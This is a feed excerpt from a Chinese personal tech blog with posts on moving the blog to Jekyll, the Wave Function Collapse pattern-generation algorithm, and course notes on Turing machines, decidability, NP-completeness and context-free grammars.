<li>列表分页:把文章列表分拆成若干页需要使用 <a href="https://jekyllrb.com/docs/pagination/" target="_blank" rel="noopener">jekyll-paginate 插件</a>,然后在模板里获取页码和当前页内的文章等信息即可。不过这个插件局限性挺大的,而且不会再添加新功能了,然而对我来说算是够用了。如果需要其它功能,比如对所有标签页表进行分页,那么需要改用 <a href="https://github.com/sverrirs/jekyll-paginate-v2" target="_blank" rel="noopener">jekyll-paginate-v2</a>。当然,现在文章还不够多,所以看不出分页的效果.</li>
<li>RSS 订阅与 sitemap:分别使用 <a href="https://github.com/jekyll/jekyll-feed" target="_blank" rel="noopener">jekyll-feed</a> 和 <a href="https://github.com/jekyll/jekyll-sitemap" target="_blank" rel="noopener">jekyll-sitemap</a> 实现,这两个插件的使用都十分简单,这里就不作过多介绍。</li>
<li>Open Graph 元信息支持:使用 <a href="https://github.com/jekyll/jekyll-seo-tag" target="_blank" rel="noopener">jekyll-seo-tag</a> 实现。做这个功能主要是为了能在 telegram 等比较先进的社交平台上能够有链接预览。我只需要在页面的 <code class="language-plaintext highlighter-rouge"><head></code> 部分加上 <code class="language-plaintext highlighter-rouge">{% seo title=false %}</code> 即可。</li>
<li>区分行内图片与单独的图片,以及让链接在新窗口中打开:jekyll 使用的 markdown 语法并非一般的 GitHub 式 markdown,而是 <a href="https://kramdown.gettalong.org/syntax.html" target="_blank" rel="noopener">kramdown</a>,它有一种扩展语法允许你手动添加 HTML 元素的 id、class 以及其他属性。使用这种做法我们便可以手动控制连接和图片的行为了。</li>
</ul>
<p>大概就是这个样子了。毕竟用 jekyll 搭网站并不是什么难事嘛。</p>
<h2 id="最后">最后</h2>
<p>专栏搬迁既然已经完成,内容更新应该就会重新开始了。敬请期待。</p>benpigchu大约三年之前,我在知乎开了这个专栏,更了几篇文章,但是后来因为种种原因没有继续下去。现在,我觉得是重新开始更新的时候了。作为一个开始,我把文章搬到了 GitHub pages 上,这样一方面可以用大家都喜欢的 markdown 格式来写技术文章了,另一方面专栏也有了自己的站点。波函数坍缩——一种根据局部信息生成图案的方法2017-07-25T11:44:52+00:002017-07-25T11:44:52+00:00http://benpigchu.github.io/pikanote/article/wave-function-collapse<p>Github 上的 <a href="https://github.com/mxgmn/WaveFunctionCollapse" target="_blank" rel="noopener">这个仓库</a> 介绍了一种生成像素图案的方法,作者借用量子力学的词汇,称之为“波函数坍缩”。</p>
<p>我们假定你有图案的一些“局部信息”,也就是说,图案中的一小块应该长成什么样子,以及这些小块之间的一些重叠关系能否出现。图案中的一小块我们用一个固定大小的小图片来表示(大概 2x2 到 4x4 左右)。如果你还知道这些小块之间出现几率的比例就更好了。当然不知道也没有关系,我们可以假定它们的出现几率差不多。那么我们的目标就是生成一个图片,使得其所有的局部(也就是固定大小的小区域)都是在之前的“局部信息”中出现过的,并且出现的几率和之前给出的“局部信息”的几率尽量相近。</p>
<p>所谓“波函数坍缩”的算法如下:</p>
<ul>
<li>确定要生成的图的大小,然后对于每一个固定大小的小区域,考虑每一种“局部信息”的是否可能出现。这些概率称为这个小区域的“波函数”。</li>
<li>将每个小区域的“波函数”初始化。一开始,所有图案都有可能在任何位置出现。</li>
<li>进行以下的循环:
<ul>
<li>选择熵最小的,未确定的小区域(有多个的话,随机取一个),对它进行“观测”,根据可能的图案的频率随机确定它使用的图案(“波函数”发生了“坍缩”)。如果所有的小区域都确定了,跳出循环。如果有一个格子没有任何的可能的状态,生成失败。</li>
<li>根据新的观测结果为周围的小区域们排除不合法的图案(影响到了周围格子的“波函数”)。在这个过程中可能有新的小区域的图案被完全确定。</li>
</ul>
</li>
<li>根据小区域使用的图案得到整张图片。</li>
</ul>
<p>这个算法是有可能生成失败的,但是这个概率不算大,可以接受,况且要保证生成不失败是一件很困难的事情。</p>
<p>那么图案的“局部信息”从哪里来呢?我们从现成的小图案中取样即可。我们可以从小图案中获得各种小块的频率。我们也可以假定或不假定取样时是否考虑旋转对称,镜面反射,以及图案是否循环,也可以自行选择取样的小块的大小。当然,生成图案的时候我们也可以选择要不要生成循环的图案。</p>
<p>我们还可以人工选好一些位置的颜色,并以此为限制条件生成图片。</p>
<p>以下是一些示例:</p>
<p class="content-image"><img src="https://raw.githubusercontent.com/mxgmn/Blog/master/resources/wfc.png" alt="" />图片来自原仓库</p>
<p>如果我们把小区域改为图块,把小块之间的重叠关系改为图块之间的相邻关系,我们就可以生成基于图块的图案了(也许还能用来生成游戏地图?)。</p>
<p>以下是一些示例:</p>
<p class="content-image"><img src="https://raw.githubusercontent.com/mxgmn/Blog/master/resources/wfc-rooms.png" alt="" />图片来自原仓库</p>
<p>这种生成方式还可以从二维扩展到三维。</p>
<p>以下是示例:</p>
<p class="content-image"><img src="https://raw.githubusercontent.com/mxgmn/Blog/master/resources/wfc-castles-3d.png" alt="" />图片来自原仓库</p>
<p>这个仓库的作者还把中间状态过程录成了视频,可以清楚地看到图片从一片模糊到最终生成的过程。感谢 indienova 从 Youtube 把视频转载到了 B 站。建议加速播放。</p>
<p><a href="https://www.bilibili.com/video/av10794716/" target="_blank" rel="noopener">Wave function collapse 波函数坍塌</a></p>
<blockquote>
<p>题图是 Benpigchu 设计,使用该仓库中的代码生成的图案。</p>
</blockquote>benpigchuGithub 上的 这个仓库 介绍了一种生成像素图案的方法,作者借用量子力学的词汇,称之为“波函数坍缩”。图灵机,一些其他的机器,问题的可判定性,以及一些计算理论——形式语言和自动机的那一套理论【3】2017-07-03T07:56:44+00:002017-07-03T07:56:44+00:00http://benpigchu.github.io/pikanote/article/automata-turing<p>这一篇是这个系列的最后一篇。
我们的课程对这一部分并不够重视,所以这部分就放在考试周之后写了。</p>
<p>以下就进入正题了。</p>
<h2 id="图灵机">图灵机</h2>
<p>图灵机可以理解为一个一个有限自动机加上一个双向无限长纸带。纸带上一开始是空的(也就是说,填满了空白符号),图灵机先把接收的字符串从左往右写在纸带上,然后才开始工作。纸带上可能的符号只有有限种。图灵机有一个指向纸带上某一格的指针,一开始是指向字符串最左边的字符所在的格的。然后图灵机自动地开始工作,每一步根据内部的状态和指针指向的字符更改内部状态,重写指向的字符,并将指针左移一格或右移一格,或者直接停机。如果图灵机最后停机并进入了某个特定的终结状态,那么就说明图灵机接受该字符串。</p>
<p>图灵机可以用下面的图表示:</p>
<p class="content-image"><img src="../assets/img/content/automata-turing/example.png" alt="" /></p>
<p>能被图灵机接受的字符串组成的语言称为递归可枚举语言。如果这个图灵机对于任何串都停机,则这个语言称为递归语言。这两个名字与递归函数有关。</p>
<p>应该注意到,图灵机的纸带在任何时候都只有有限个非空白字符。</p>
<p>我们其实可以允许图灵机改变状态时不移动指针,只需要想要不移动指针时,右移进入一个对应的特殊状态,再左移进入目标状态即可。做这样的模拟至多将图灵机的计算步数增加一倍。</p>
<p>我们可以把图灵机的状态集和带符号集都变成有多个集合的笛卡尔乘积,这样我们的图灵机便可以在内部状态内存储有限多的数据,而纸带也可以看作是多个纸带并联得到的多道的宽纸带。</p>
<p>我们还可以给图灵机增加更多的纸带。然而,k 个纸带的图灵机可以用一个 2k 道宽的纸带的图灵机模拟。事实上,我们在一半的道上记录 k 个纸带的内容,在剩下的带上记录指向各带的指针位置与用到的带的边界。这样,我们只需从左往右遍历一遍用到的所有格子,记录下所有的格子的符号,然后从右往左遍历一遍用到的所有格子,修改指针的位置与带符号,必要的时候扩展用到的带的边界,我们就成功地模拟了多带图灵机的一步。于是增加图灵机的带并不会增加图灵机的计算能力。然而使用这样的方法普通图灵机需要 O(n^2) 步才能完成多带图灵机的 n 步。事实上由于多带图灵机在 n 步之后用到的带的格子不超过 O(n) 个,我们可以轻松地得到这一结论。</p>
<p>我们还可以把图灵机改成非确定性的,也即在同一。这也不会增加图灵机的运算能力。事实上,我们可以使用确定性的双带图灵机模拟非确定性的图灵机。注意到我们可以用字符串来表示图灵机的全部状态,我们只需一开始把初始状态写在第一个带上,然后把第一个带视为可抵达的状态的序列,然后从左往右逐个处理可能的状态,并在状态为接受的状态时进入接受状态并停机,其他时候将此状态剪切到第二条带上,并将它的可能的下一个状态补在第一条带的右侧。这种做法相当于在所有的状态中做广度优先搜索,所以可以很容易地得知此结论是正确的。然而由于它是广度优先搜索,那么在可能的下一步的数量最大值为 m 时,使用这样的方法确定性图灵机需要 O(n*m^n) 步才能对非确定性图灵机进行模拟。</p>
<h2 id="一些其他的机器">一些其他的机器</h2>
<p>我们把图灵机的纸带剪断,只使用一半的纸带,这样就得到了半无穷带的图灵机。事实上用双道的半无穷带的图灵机就可以模拟图灵机,只需要在接近边界时更换方向和使用的道即可。于是它的计算能力是与普通图灵机等同的。</p>
<p>如果给下推自动机加上更多的栈,就得到了多栈的下推自动机。两个栈的下推自动机就可以模拟图灵机,只需要用栈之间的倒腾模拟带的移动即可。另一方面,多栈的下推自动机可以用多带图灵机模拟。于是多于两个栈的下推自动机的计算能力也是与图灵机等同的。</p>
<p>我们给多栈的下推自动机增加一个限制:每个栈除了栈底的符号以外,其余的符号都是相同的。这时我们可以把每个栈都视为一个计数器,只能判断其上的数是否为 0 并进行加一或减一操作。这样的机器称为计数器机。计数器机显然可以用多栈的下推自动机模拟。出乎意料的是,单个计数器的计数器机的表达能力是和确定型下推自动机等同的,而这个结论的证明是困难的。</p>
<p>另一方面,两个计数器就可以模拟任意多的计数器。事实上,我们取前 k 个质数 p_1,p_2,…,p_k ,然后我们在第一个计数器中存 (p_1)^{x_1}*(p_2)^{x_2}*…*(p_n)^{x_n} 用第二个进行运算操作。要检测第 i 个计数器是否为空时,利用第二个计数器看第一个计数器除以 p_i 是否能整除,要修改第 i 个计数器时,利用第二个计数器将第一个计数器乘或除以 p_i 即可。另一方面,使用三个计数器可以模拟两个栈。假设栈符号只有 t 种,我们可以用 t 进制数来模拟栈,要压入某个符号时利用第三个栈进行乘 t 并加上余数的操作,要弹出某个符号时利用第三个栈进行除以 t 并取出余数的操作即可。于是于是多于两个计数器的下推自动机的计算能力也是与图灵机等同的。</p>
<p>使用普通计算机是可以模拟图灵机的。尽管由于存储大小的限制,计算机实际上是状态数巨大的有限状态机,但是我们可以通过提醒人工更换硬盘来规避这一点。然而,普通计算机也可以用图灵机模拟,并且图灵机需要的步数和普通计算机相比只有多项式级别的区别。这件事比较显然,但较为复杂。我们用多个不同的带模拟计算机的不同部分,就可以用多带图灵机模拟普通计算机。于是普通计算机和图灵机的计算能力也是等同的。</p>
<h2 id="问题与可判定性">问题与可判定性</h2>
<p>我们可以用图灵机来解决一般的“是/否”问题。我们只需把问题的输入编码,并将使问题答案为真的输入的编码作为一种语言即可。那么,要知道一个问题是否是可判定的,只需要考察对应的语言是否能被总是停机的图灵机接受,是不是递归语言即可。
如果一个问题,其对应的语言与这个语言的补均为递归可枚举语言,那么这个问题就是可判定的。事实上,我们只需同时模拟这个语言与这个语言的补的图灵机即可判定此问题。</p>
<p>问题之间可以归约。如果能把一个问题的编码串变成第二个问题的编码串,同时不改变问题的答案的图灵机存在,就可以把一个问题归约为第二个问题。这样只要第二个问题可判定,则第一个问题可判定。而若第一个问题不可判定,则第二个问题也不可判定。</p>
<p>我们可以将图灵机编码为字符串。我们也可以使用图灵机来模拟字符串对应的图灵机在给定的输入下的行为。但是,一个图灵机在给定的输入下是否停机是不可判定的,这称为停机问题。要证明这一点,我们先证明:一个图灵机是否在输入为它自己的编码时停机是不可判定的。事实上如果判定此问题的图灵机存在,就可以构造一个图灵机,他在接收输入为它自己的编码时停机的图灵机的编码时不停机,在接收输入为它自己的编码时不停机的图灵机的编码时停机,而这个图灵机接收自己的编码时,既不能停机,也不能不停机,于是这样的图灵机不存在,结论成立。于是,一个图灵机在给定的输入下是否停机也是不可判定的,不然我们就可以用判定这个问题的图灵机稍作修改去判定之前那个问题了。这也意味着,判断一个程序在给定的输入下是否死循环也是不可能的。</p>
<p>另一个关于图灵机的不可判定问题是,判断某个图灵机对应的语言是否属于某个非平凡的(非空集也非全集的)语言集合。事实上,如果这样的图灵机存在,那么就存在图灵机使得其可以判定一个图灵机在给定的输入下是否停机。不妨设该语言集合不包含空集,否则考虑它的补集。假设存在这样的图灵机,我们构造另一个图灵机,它有两条带,它先在第一条带上模拟给定的图灵机在给定操作下是否停机,等停机后便判断第二条带上的带上的串是否属于给定的语言集合中的某一个确定的语言(此语言存在且非空,因为语言集合非平凡且不含空集)。这样,若给定的图灵机在给定操作下停机,则新图灵机的语言为给定的语言集合中的某一个确定的语言,否则新图灵机的语言为空语言。这样,通过判定此图灵机是否属于给定的语言集合就可以得出对应的拟给定的图灵机在给定操作下是否停机。所以结论成立,某个图灵机对应的语言是否属于某个非平凡的语言集合是不可判定的。</p>
<p>接下来有一个与图灵机没什么关系但是是不可判定的问题:斯波特对应问题。斯波特对应问题是这样的:给定两组字符串 w_1,w_2,…,w_k 和 x_1,x_2,…,x_k ,问是否存在一个下标列 i_1,i_2,…,i_m 使得 w_{i_1}w_{i_2}…w_{i_m}=x_{i_1}x_{i_2}…x_{i_m}(这称为斯波特对应)。要证明这个问题是不可判定的,我们可以把停机问题归约到修改的斯波特对应问题,再归约到斯波特对应问题。修改的斯波特对应问题和修改前相比唯一的区别就是指定了下标列中第一项的值为 1。</p>
<p>我们先把修改的斯波特对应问题归约到斯波特对应问题。我们增加两个字符 * 和 $,把第一组第一个字符串和第二组所有字符串每个字符前面都加上 * ,在第二组其他字符串每两个字符中间加上 * ,最后在第一组和第二组后面分别加上字符串 $ 和 *$。这样,新的字符串组若存在斯波特对应,那么就必然第一个下标为一,于是,新的字符串组若有斯波特对应当且仅当旧字符串组有第一个下标为一的斯波特对应。归约完成。</p>
<p>接下来我们完成停机问题到修改的斯波特对应问题的归约。我们不妨假设停机问题中的图灵机是半无穷带的图灵机。我们用形如 αpβ 的串表示图灵机的状态,其中 α 是指针左边的串, β是指针指向的格子及其右边的串。我们设两组字符串中第一个字符串分别为 #[p0]w# 和 # ,其中w为输入字符串,[p0] 为图灵机初始状态,然后,两组中有对应的字符串 # 和 #,并且对于所有的带符号 x,都有对应的字符串 x 和 x,其后,如果图灵机在带符号为 X 状态为 p 时下一步左移并改写带符号为 Y 并且左移一格,则对任意带符号 Z 两组中有对应的字符串 ZpX 和 pZY,若 X 为空白符号对任意带符号 Z 还有对应的字符串 Zp# 和 pZY#,若为右移则有对应的字符串 pX 和 Yp,若 X 为空白符号还有对应的字符串 p# 和 Yp#,最后对于终结状态 [pf] ,对于任何带字符 X,Y 都有对应的字符串 X[pf]Y 和 [pf],X[pf] 和 [pf],[pf]Y 和 [pf],以及有对应的字符串 [pf]## 和 #。这样,构造斯波特对应对应的过程就恰好为生成图灵机的状态串的过程,归约完成。</p>
<p>利用斯波特对应问题我们可以证明一些关于上下文无关语言的问题的不可判定性。我们规定一组字符串 x_1,x_2,…,x_k 对应的文法为 A-> x_1A1|x_2A2|…|x_kAk|x_11|x_22|…|x_kk,那么,可以通过构造确定型下推自动机证明这个文法对应的语言的补也是上下文无关语言。考虑斯波特对应问题中两组字符串的文法的语言的并,我们就可以知道上下文无关文法是否有歧义是不可判定的。考虑斯波特对应问题中两组字符串的文法的语言的交,我们就可以知道上下文无关语言的交集是否为空集是不可判定的。考虑斯波特对应问题中两组字符串的文法的语言分别的补的并以及字符串全集,我们就可以知道,两个上下文无关语言是否相等、一个上下文无关语言是否等于某个正则语言,一个上下文无关语言是否是字符串全集、一个上下文无关语言是否是另一个上下文无关语言的子集、一个上下文无关语言是否是另一个正则语言的子集,都是不可判定的。</p>
<h2 id="p-与-np">P 与 NP</h2>
<p>可以用在与输入长度相比多项式时间内停机的图灵机解决的问题为 P 问题,如果放宽为非确定性的图灵机,则为 NP 问题。之前构造的确定性图灵机对非确定性图灵机的模拟是指数时间的,所以 NP 问题和 P 问题之间似乎存在很大的差距,然而 P=NP 是否为真仍然是未知的。</p>
<p>如果两个问题之间的归约能在多项式时间内完成,那么就说两个问题之间有多项式时间的归约。能被所有 NP 问题在多项式时间内归约到的问题称为 NP-难问题,如果它本身也是NP问题则称为 NP 完全问题。一旦一个 NP 完全问题被证明是 P 问题,那么就有 P=NP 了。</p>
<p>第一个 NP 完全问题是 SAT 问题:包含多个变元、与、或、非、括号的布尔表达式是否可以为真。首先它是 NP 问题,因为我们可以利用非确定性图灵机的非确定性质在 O(n) 时间(n 为变元数量)内遍历所有分支,并在多项式时间内测试表达式是否为真。下面证明任何 NP 问题均可归约到 SAT 问题。对于任意一个 NP 问题,都有一个非确定性的图灵机,使得其能解决这个问题,不妨设这是一个半无穷带上的非确定性的图灵机,并且在输入长度为 n 时运行步数不多于 p(n) ,其中 p 为一个多项式函数。我们用长度为 p(n)+1 的串来表示图灵机的状态,其中包括 p(n) 个带符号和一个插在中间的状态。考虑一个长宽均为 p(n)+1 的表格,在每一行填写每一步的图灵机的状态(如果步数少于 p(n) 步则最后的一步之后所有行都相等),那么问题答案为真当且仅当填法合法并且最后一行含有终结状态。对于每一个格子和每一个状态或带符号,我们建立一个变元,表示该格是否填写了该符号。我们构造一个布尔表达式表示是否填法合法并且最后一行含有终结状态。这个布尔表达式由四部分的与组成。第一部分为:每一个格子都恰好填了一个符号,这一部分有 O((p(n))^2) 个符号;第二部分为:第一行确实为初始状态,这一部分有 O(p(n)) 个符号;第三部分为:最后一行确实含有终结状态,这一部分有 O(p(n)) 个符号;第四部分为,确实表格表示了图灵机状态转移,这部分有 O((p(n))^2) 个符号。这样,我们便构造出了相应的布尔表达式,归约完成。于是 SAT 问题是 NP 完全问题。</p>
<p>如果一个 NP 问题能由一个 NP 完全问题在多项式时间内归约到,那么它也是一个 NP 完全问题,因为任何 NP 问题都在多项式时间内能归约到该 NP 完全问题,再归约到此问题。</p>
<p>我们考虑 CSAT 问题:和 SAT 问题相同,但要求输入为合取范式。合取范式定义为若干个子句的与,子句定义为若干个文字的或,而文字定义为一个变元或其非。CSAT 问题显然也是 NP 问题,因为 SAT 问题是 NP 问题。我们下面通过把 SAT 问题在多项式时间内归约到 CSAT 问题证明其为 NP 完全问题。我们证明,对于任何布尔表达式 E,我们都可以在相对 E 的长度的多项式时间内构造出合取范式 F,使得 E 可能为假当且仅当 F 可能为假。首先我们可以在多项式时间内把非全部挪到变元的前面。我们对 E 的长度进行归纳构造。若 E 中只有一个或两个变元符号,那么取 F=E 即可;若 E=E1 and E2,F1 和 F2 分别为 E1 和 E2 的对应构造,那么取 F=F1 and F2 即可;若 E=E1 or E2,F1 和 F2 分别为 E1 和 E2 的对应构造,那么设 F1=h1 and h2 and … and hp,F2=g1 and g2 and … and gq,则新建一个变元 y,并且令 F=(h1 or y)and(h2 or y)and…and(hp or y)and(g1 or not y)and(g2 or not y)and…and(gq or not y) 即可。可以归纳地证明,构造时间不超过 O(|E|^2),归约完成。</p>
<p>接下来我们考虑 3-SAT 问题:和 SAT 问题相同,但要求每个子式中恰好有三个文字。3-SAT 问题显然也是 NP 问题,因为 SAT 问题是 NP 问题。我们下面通过把 CSAT 问题在多项式时间内归约到 3-SAT 问题证明其为 NP 完全问题。我们依次处理合取范式中的各个子式 x_1 or x_2 or … or x_m。若 m=1,新建两个变元 x,y,转换为 (x_1 or x or y)and(x_1 or not x or y)and(x_1 or x or not y)and(x_1 or not x or not y);若 m=2,新建一个变元 x,转换为(x_1 or x or x_2)and(x_1 or not x or x_2);若 m=3,原样照抄;若 m>=4,新建 m-3 个变元 y_1,y_2,…,y_{m-3},转换为 (x_1 or x_2 or y_1)and(x_3 or not y_1 or y_2)and…and(x_{m-2} or not y_{m-4} or y_{m-3})and(x_{m-1} or x_m or not y_{m-3}) 即可。只需线性时间即可完成这个构造,归约完成。可以看到,3-SAT 中的 3 换作任何一个不小于 3 的整数后仍然是 NP 问题。然而, 2-SAT 与 1-SAT 都是 P 问题。
利用 3-SAT 问题可以证明一些关于图论的问题是 NP 问题。首先是独立集问题:给定一个无向图和正整数 k,问图中是否存在 k 个互不相邻的顶点(它们组成的集合称为独立集)。它显然是 NP 问题,因为我们可以猜测所有的 k 元点集。我们下面通过把 3-SAT 问题在多项式时间内归约到独立集问题证明其为 NP 完全问题。我们假设 3-SAT 有 m 个子式,对于所有 3m 个文字,我们均建立一个顶点,然后两个顶点有边相连当且仅当这两个顶点对应的文字在同一个子式中或互为非。那么这个图有 m 顶点独立集,当且仅当 3-SAT 可以为真。事实上,这个图有 m 顶点独立集当且仅当可以安排变元的值使得每个子式中可以选出一个为真的文字。于是归约完成。由独立集问题可以得出下面的顶点覆盖问题也是 NP 完全的:是否在给定的无向图中,可以找出 k 个顶点使得任何一条边都有一个顶点在这个边上(这 k 个顶点称为顶点覆盖)。事实上,独立集的补就是顶点覆盖,所以这两个问题是等价的。</p>
<p>另一个问题,哈密顿问题,也是 NP 问题。所谓哈密顿问题,就是一个图是否有遍历所有顶点的圈。我们先讨论有向图的哈密顿问题。显然这也是个 NP 问题,只需要猜测边的序列即可。我们下面通过把 3-SAT 问题在多项式时间内归约到哈密顿问题证明其为 NP 完全问题。这个构造比较麻烦,我们需要一张图,如下:</p>
<p class="content-image"><img src="../assets/img/content/automata-turing/hamiton1.png" alt="" /></p>
<p>我们对于每个变元,构造一个左边的图,将它们顺序环状连接起来。对于每一个子句,构造一个右边的图。对于每一个子句中的每一个文字,我们将子句的图和对应的文字的变元的图连接起来。若文字为变元本身,将对应的两个顶点连到变元的图中从左上到右下的边的两个顶点上;若文字为变元的非,将对应的两个顶点连到变元的图中从右上到左下的边的两个顶点上。例子如下:</p>
<p class="content-image"><img src="../assets/img/content/automata-turing/hamiton2.png" alt="" /></p>
<p>这样,哈密顿圈存在当且仅当可以安排变元的值使得每个子式中可以选出一个为真的文字。事实上,此图中的哈密顿圈只能是从左侧循环中跳出到子式的图当中再跳回来的。那么,子式的图中选择的路径对应着为真的文字,而变元的图保证了互为非的文字不同时为真。这个构造显然可以在多项式时间内完成,归约成立。</p>
<p>接下来我们讨论无向图的哈密顿圈问题,它显然也是 NP 问题。我们可以简单的从有向图的哈密顿圈问题归约到无向图的哈密顿圈问题。我们只需把每个顶点变成 3 个顶点,三个节点依次相连,连入的边连在第一个顶点上,连出的边连在第三个节点上即可。这样,由于哈密顿圈要经过所有的第二个顶点,这个哈密顿圈必然总是依次经过一组三个顶点,故必然有对应的有向图的哈密顿圈。这个构造显然可以在多项式时间内完成,归约成立,于是无向图的哈密顿圈问题也是 NP 问题。由此还可推出,带权无向图最短哈密顿圈问题也是 NP 问题。</p>
<h2 id="其他问题类">其他问题类</h2>
<p>P 问题的补必然是 P 问题。然而 NP 问题的补是否是 NP 问题是未知的。我们倾向于认为 NP 完全问题的补不是 NP 问题。</p>
<p>可以用只使用与输入长度相比多项式空间的图灵机解决的问题为 PS 问题,如果放宽为非确定性的图灵机,则为 NPS 问题。显然 NP 问题都是 NPS 问题,P 问题都是 PS 问题,PS 问题都是 NPS 问题。令人意外的是 NPS 问题都是 PS 问题。首先,NPS 问题对应的非确定性的图灵机在给定的输入下可能出现的状态总数的对数相对输入长度不超过多项式级别。其次,我们构造一个图灵机,其遍历所有可能的终结状态,测试能否在若干步内抵达终结状态。若可以直接判定则结束,否则遍历一半步数时可能的状态,并递归的测试能否抵达此状态和从此状态能否抵达终结状态。由于递归的深度不多于可能出现的状态总数的对数,所以占用空间相对输入而言是多项式级别的,结论成立。</p>
<p>和 NP 完全问题相应的,也有 PS 完全问题。能被所有 PS 问题在多项式时间内归约到的 PS 问题称为 PS 完全问题。第一个 PS 完全问题是带有量词的布尔表达式求值问题(QBF 问题):带有存在与全称量词的布尔表达式是真还是假。我们可以直接递归的求解带有量词的布尔表达式,而递归的深度不超过表达式长度,所以带有量词的布尔表达式求值是 PS 问题。接下来,我们证明任何任何 PS 问题均可归约到 QBF 问题。任何 PS 问题都有对应的确定性的图灵机,不妨设是半无穷带图灵机,使得它在与输入长度为 n 时只在 p(n) 长度的带上工作,其中 p 为多项式函数,那么图灵机只可能在 O(exp(p(n))) 步内接受。我们用多个变元表示一个图灵机状态,每个变元表示状态字符串的某一位是什么符号。为了简单,我们采取基于状态的符号,用状态之间的关系代替变元之间的关系,这样的代替是多项式时间的,但是代替过程中除了添加具体的变元还要添加使状态合法的变元约束。我们构造形如 (exist I0)(exist I1)(S and N and F) 的带有量词的布尔表达式,其中 S 表示初始状态是 I0,可以在多项式时间构造出来;F 表示初始状态是 I1,可以在多项式时间构造出来;N 表示可以在 k 步内从 I0 转移到 I1,其中 k 为 2 的幂且略大于 O(exp(p(n))),为了构造这一表达式,我们记 N(u,v,m) 为可以在 m 步内从 u 转移到 v 的带有量词的布尔表达式,那么,m=1 时可以在多项式时间内直接构造,而若有 m=t 的构造,m=2t 时构造 N(u,v,m)=(exist f)(all p)(all q)(N(p,q,t) or not((p=u and q=f)or(p=f and q=v))) 即可,这样,N=N(I0,I1,k) 可以在多项式时间内递归的构造出来。于是,规约完成,QBF 问题是 PS 完全问题。</p>
<p>我们考虑带随机化图灵机:这个图灵机有一个带上填满了随机的位。如果一个语言,可以让一个随机化图灵机要么以 0 概率接受语言之外的串,要么以至少 1/2 概率接受语言中的串,并且一定在多项式时间内停机,那么这个语言称为 RP 类语言。如果随机化图灵机总是给出相同的结果,并且停机时间的期望为多项式时间,那么对应的语言称为 ZPP 类的语言。显然 P 问题都是 ZPP 问题。若一个问题和他的补都是 RP 问题,那么只需要同时运行这个问题和其补的随机化图灵机,直到其中有一个接受即可,运行时间的期望不多于多项式时间乘以 2(1+1/2+1/4+…) 也是多项式时间,于是问题也是 ZPP 问题。若一个问题是 ZPP 问题,那么其运行 2 倍期望时间后不停止的概率不大于 1/2(否则期望不正确),于是在此截断可得,这个问题也是 RP 问题。显然 ZPP 问题的补也是 ZPP 问题,于是 ZPP 问题集是 RP 问题集与 RP 补问题集的交。又非确定性图灵机可以多项式模拟所有可能被多项式时间内停机的随机化图灵机读到的随机串的序列,故 RP 问题都是 NP 问题。</p>
<p>最后我们讨论一下质数检测问题:二进制串是否表示质数。随机取小于输入的数的数,利用快速幂算法和费马小定理进行判断,如果输入为合数则至少能有 1/2 的概率判断出来,所以判断合数为 RP 问题,从而是 NP 问题。又一个数 p 是质数,当且仅当存在一个小于该数的整数 x 使得满足 x^k=1(mod p) 的最小正整数 k 为 p-1,而若 x^(p-1)=1(mod p) 必然有满足 x^k=1(mod p) 的最小正整数 k 整除 p-1。于是我们用非确定性图灵机猜测 p-1 的因子,然后递归地检查它们都是质数,然后验证 x^(p-1)=1(mod p),以及对于任意一个质因子 q 有 x^(p-1)/q!=1(mod p) 即可。这样的过程可以证明是多项式时间的,因为质因子列表长度是相对输入整数位数是多项式的,于是判断质数也是 NP 问题。质数检测问题不像是 NP 完全的,不然就有 NP 问题的补也是 NP 问题了。</p>
<h2 id="结束">结束</h2>
<p>这篇笔记是这个系列的最后一部分。</p>
<p>能够看下来真是辛苦了。</p>
<p>就是这样了。</p>benpigchu这一篇是这个系列的最后一篇。 我们的课程对这一部分并不够重视,所以这部分就放在考试周之后写了。上下文无关文法,以及下推自动机——形式语言和自动机的那一套理论【2】2017-06-10T19:46:49+00:002017-06-10T19:46:49+00:00http://benpigchu.github.io/pikanote/article/automata-push<p>没错,这是第二部分。
以下就进入正题了。</p>
<h2 id="上下文无关文法">上下文无关文法</h2>
<p>正则表达式能够表示的语言都比较简单,上下文无关文法则可以表示更加复杂的语言。</p>
<p>一个上下文无关文法包括:一个字符集、一个变元集合以及一个产生式集合,并且变元集合中有一个变元被称为初始变元。所谓产生式就是 S→aSb 这样的,由一个变元变成变元和字符组成的串的式子。为了方便,我们会把左侧变元相同的产生式合并,比如 S→SS|(S)|ε。</p>
<p>我们这样得到一个上下文无关文法对应的语言:我们从一个单个初始变元组成的串开始,每次选择一个串中的变元,将其按照某个产生式替换成一个变元变成变元和字符组成的串。这样的替换过程称为一次推导。不断进行推导,直到串中只有字符没有变元,所有可以这样得到的串组成的集合称为上下文无关文法对应的语言,这样的语言称为上下文无关语言。</p>
<p>事实上,文法中的每个变元都对应一个语言。</p>
<p>在推导时我们可以选择只替换最左侧或最右侧的变元,这样整个推导过程就可以称为最左推导或最右推导。推导过程中得到的串称为句型。</p>
<p>如果我们把推导的过程用给节点添加子节点的过程表示,我们就得到了语法分析树。如下图是一个语法分析树的例子:</p>
<p class="content-image"><img src="..//assets/img/content/automata-push/tree.png" alt="" /></p>
<p>从语法分析树也可以容易地构造推导过程,只需要中序遍历一下树就好了。</p>
<p>如果一个上下文无关文法对应的语言中有一个串有多个不同的语法分析树,那么这个文法就称为有歧义的。而如果一个上下文无关语言对应的文法一定是有歧义的,那么这个语言就称为固有歧义的。</p>
<p>事实上有一个串多个不同的语法分析树当且仅当这个串有多个不同的最左推导,同时当且仅当有多个不同的最右推导。</p>
<p>很多文法可以经过修改去除歧义性,但是有固歧义的语言对应的文法不行。
上下文无关文法经常用来描述各种编程语言、标记语言等的语法。</p>
<h2 id="下推自动机">下推自动机</h2>
<p>下推自动机可以理解为一个有限自动机加上一个栈。</p>
<p>下推自动机有一个状态和一个栈。状态只有有限种,而栈里可以存放任意个一个有限字符集中的字符。下推自动机有一个初始状态、并且初始时栈里有一个初始字符。每当下推自动机接受一个字符,或是自发地进行一次状态转换,我们可以根据现在的栈顶字符和状态以及输入的字符,选择新的状态,并从栈中取出栈顶字符然后压入一堆字符。如果栈中没有字符了,下推自动机就不接受新字符了。</p>
<p>下推自动机可以用下面这样的图来表示:</p>
<p class="content-image"><img src="../assets/img/content/automata-push/example.png" alt="" /></p>
<p>有两种判断下推自动机是否接受一个串的方式,一种是看最终自动机的状态(以终结方式接受),另一种是看自动机最终是否已经清空(以空栈方式接受)。</p>
<p>一个语言是某个以终结方式接受的下推自动机对应的语言当且仅当它是某个以空栈方式接受的下推自动机对应的语言,这样以哪一种方式接受语言就显得不那么重要。</p>
